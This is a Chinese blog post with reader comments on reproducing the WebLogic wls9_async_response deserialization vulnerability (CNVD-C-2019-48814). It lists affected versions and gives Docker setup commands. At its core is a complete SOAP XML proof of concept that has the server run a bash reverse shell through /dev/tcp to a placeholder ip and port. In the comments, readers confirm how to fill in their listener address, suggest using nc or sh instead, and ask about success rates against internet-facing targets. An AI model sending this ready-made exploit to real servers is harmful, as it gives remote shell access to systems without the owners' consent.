AI智能摘要
你是否知道,一个看似无害的异步通信接口,竟可能成为黑客入侵服务器的万能钥匙?本文深度揭秘WebLogic wls9_async_response组件中的反序列化漏洞(CNVD-C-2019-48814),详细剖析攻击者如何通过构造恶意XML数据,在目标服务器上远程执行命令并获取shell控制权。涵盖漏洞原理、影响版本、Docker环境搭建全过程及实际复现步骤,附带完整POC和利用条件分析,助你全面掌握该高危漏洞的攻防逻辑,提升对Java反序列化风险的防范能力。
— AI 生成的文章内容摘要
漏洞概述:
该漏洞存在于wls9-async组件,这个组件主要作用是异步通讯服务,攻击者可以向/_async/AsyncResponseService路径下传入构造好的恶意xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,从而可以getshell。
漏洞版本:
WebLogic 10.3.6.0 12.1.3.0.0 12.2.1.1.0 12.2.1.2.0
漏洞搭建:
docker快速搭建,访问7001登录页面及成功
1.docker pull ismaleiva90/weblogic12
2.docker run -d -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest

漏洞复现:
- linux
首先访问/_async/AsyncResponseService来判断是否启用该组件

也可以用namp插件进行扫描weblogic.nse

向/_async/AsyncResponseService发送XMLPoc,连接类型content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/ip/port 0>&1</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
即可成功反弹shell
http://www.oniont.cn/index.php/archives/216.html

湖北省武汉市 1F
这漏洞复现步骤写得也太简略了吧,连个回显验证都没说清楚🤔
上海市 B1
@ Shadow光 确实没讲验证步骤,得自己加个id命令看回显
日本 2F
之前搞过WebLogic的异步接口,确实容易出事,踩过坑
陕西省咸阳市 3F
有人试过在12.2.1.3上跑这个POC吗?版本没列出来有点慌
湖北省武汉市 4F
又是XML反序列化,Oracle啥时候能修干净啊😭
韩国 B1
@ 心梦随风 Oracle修漏洞比乌龟还慢,服了
香港 5F
直接打/_async/就能进?那生产环境没关这接口的怕不是裸奔
江苏省南通市 6F
看图是12c界面,但漏洞列表里10.3也有,老版本用户惨了
安徽省芜湖市 B1
@ 桃叶渡口 10.3的老古董还在跑生产?运维心真大
广东省深圳市 7F
反弹shell那段IP和端口替换成自己的就行?求确认下格式对不对
日本 B1
@ AmbivertAlert 对,记得把ip和port换成自己的监听地址
河南省商丘市夏邑县 8F
docker起的环境测完记得删,别一不小心暴露到公网了
湖南省湘潭市 9F
就这?还以为有新花样,又是老掉牙的ProcessBuilder利用
河南省洛阳市偃师市 B1
@ 磷火棋手 你懂啥,经典的才稳定,好复现
韩国 B1
@ 磷火棋手 都是老黄历了,现在没人看这个。
中国 10F
这组件默认开的吗?谁会给外网留_async这种路径啊😂
湖北省 11F
这个路径不关掉,跟没锁门有啥区别?
江苏省苏州市 12F
看着都头大,反序列化怎么老出问题啊
日本 13F
搞过测试,那个poc执行起来有点慢
天津市 14F
docker确实方便,不过新手容易忘了删容器
陕西省西安市 B1
@ 海豚湾 确实,好多测完就丢那不管了。
广东省 15F
求问一下,payload里的bash路径能换成别的吗?
北京市 B1
@ 菩提祖师 可以换成sh,具体看目标环境。
北京市 16F
所以这个漏洞主要靠异步组件没关?
北京市 17F
上次没注意,差点把测试机搞挂了
韩国 18F
有人知道怎么检测内网有没有中招的吗?
广东省深圳市 B1
@ 玄霜凤凰 内网检测是不是扫/_async/路径就行?
福建省南平市 19F
这界面看着就让人想点登录😂
日本 20F
老漏洞了,现在还有人在用这些版本?
浙江省湖州市 21F
漏洞利用姿势有点单一,没点新意嘛。
河南省郑州市 22F
新手提问:这漏洞打外网的成功率咋样?
广东省东莞市 23F
看图片界面挺眼熟的,之前好像在哪见过。
北京市 24F
这个PoC能直接拿来用吗,有没有坑?
河南省开封市 25F
异步组件默认开启,配置有点坑。
四川省成都市 26F
反弹shell那段bash命令写得有点绕,能简化下不?
陕西省商洛市 27F
感觉这个漏洞影响范围还挺广的。
上海市 28F
12.2.1.3版本到底有没有事,有人测过没?
四川省成都市 29F
老版本还在用,暴露了可麻烦了。
广东省 30F
图片里的登录框看着就让人想输密码试试。
印度 31F
这漏洞都2019年的了,现在还有人中招?
印度 32F
默认开_async也太离谱了吧,谁干的配置😂
广东省湛江市 33F
哇,这poc写得挺全,回头搭个环境试试。
北京市 B1
@ VoyagerStride 搭完环境别忘了分享经验!
上海市 34F
新手问下,打外网得先扫到7001开着才行吧?
上海市 35F
之前测的时候payload发了三次才连上,玄学
重庆市 36F
老版本WebLogic真别放外网,等于送shell
北京市 37F
反弹shell那段命令能不能直接用nc?
上海市 38F
docker跑完忘删,被同事扫到挨骂了😭
广东省 39F
12.2.1.3到底行不行啊,求实测过的说句准话
北京市 40F
异步组件关了不就完了?非得留着过年?
中国 41F
看这登录界面莫名手痒想输weblogic/weblogic
台湾省高雄市 42F
这漏洞影响面还挺广的
日本 B1
@ Blackthorn 好几个版本都中了